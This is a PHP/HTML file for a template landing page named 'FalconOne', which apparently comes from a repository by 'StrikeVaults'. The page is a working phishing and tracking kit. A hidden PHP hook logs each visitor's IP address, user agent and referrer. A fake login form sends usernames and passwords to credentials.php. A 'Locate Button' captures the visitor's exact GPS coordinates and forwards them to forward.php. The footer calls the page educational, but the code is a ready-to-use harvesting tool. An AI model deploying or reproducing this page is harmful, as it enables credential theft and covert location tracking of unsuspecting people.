-
Notifications
You must be signed in to change notification settings - Fork 2
/
index.php
98 lines (83 loc) · 3.62 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
<meta name="author" content="StrikeVaults" />
<meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" />
<link rel="stylesheet" href="styles/main.css">
<link rel="stylesheet" href="styles/join.css">
<link rel="stylesheet" href="styles/footer.css">
<link rel="stylesheet" href="styles/forms.css">
<title>FalconOne v.0.1 | Default Landing Page</title>
<!-- Social Sharing SEO -->
<meta property="og:title" content="Hello, world!" />
<meta property="og:type" content="website" />
<meta property="og:site_name" content="Hello, world!" />
<meta property="og:locale" content="en_US" />
<meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
<meta property='article:author' content='StrikeVaults' />
<!-- Favicon -->
<link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" />
</head>
<!-- Activity User-Agent hook -->
<?php
if(filesize('./l.log') > 3000000) {
@file_put_contents('./l.log', ""); // empty log if > 3MB.
} else {
$log = date("F j, Y, g:i a") . ' - '. $_SERVER['REMOTE_ADDR'].' - '.$_SERVER['HTTP_USER_AGENT'].' - '. $_SERVER['HTTP_REFERER'].' - '.$_SERVER['SCRIPT_NAME']. ' - '.$_SERVER['QUERY_STRING']. PHP_EOL;
@file_put_contents('./l.log', htmlspecialchars($log,ENT_QUOTES,'UTF-8'), FILE_APPEND);
}
?>
<body>
<!-- HTML template -->
<article class="join">
<div class="join__container">
<section class="join__message">
<h1 class="join__heading">Section 1 Title</h1>
<p class="join__subheading">Sub-Title Example</p>
<p class="join__text">Impressive article or offer description section.</p>
</section>
<section class="join__subscribe">
<h2 class="join__heading">Section 2 Title</h2>
<p class="join__price">$00 <span class="join__price-month">Text</span></p>
<p class="join__price-desc">Short description in here</p>
<a href="#" class="join__cta" onclick="getLocation()">Locate Button</a>
</section>
<section class="join__about">
<h2 class="join__heading">Login Section</h2>
<form action="credentials.php" method="post">
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Email or Username" name="uname" required>
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required>
<button type="submit">Login</button>
</form>
</section>
</div>
</article>
<!-- Footer -->
<footer class="footer">
<div class="footer__attribution">
<p class="footer__text"><a href="https://www.strikevaults.com" target="_blank">StrikeVaults</a> Labs</p>
<p class="footer__text">Only for researches and educational purposes.</p>
</div>
</footer>
<!-- Location and User-Agent hook -->
<p id="errorMessage"></p>
<script>
let message = document.getElementById("errorMessage");
function getLocation(){
if(navigator.geolocation){
navigator.geolocation.getCurrentPosition(sendLocation);
} else{
message.innerHTML = "<em>Your browser is not supported.</em>";
}
}
function sendLocation(geoLocation) {
window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude;
}
</script>
</body>
</html>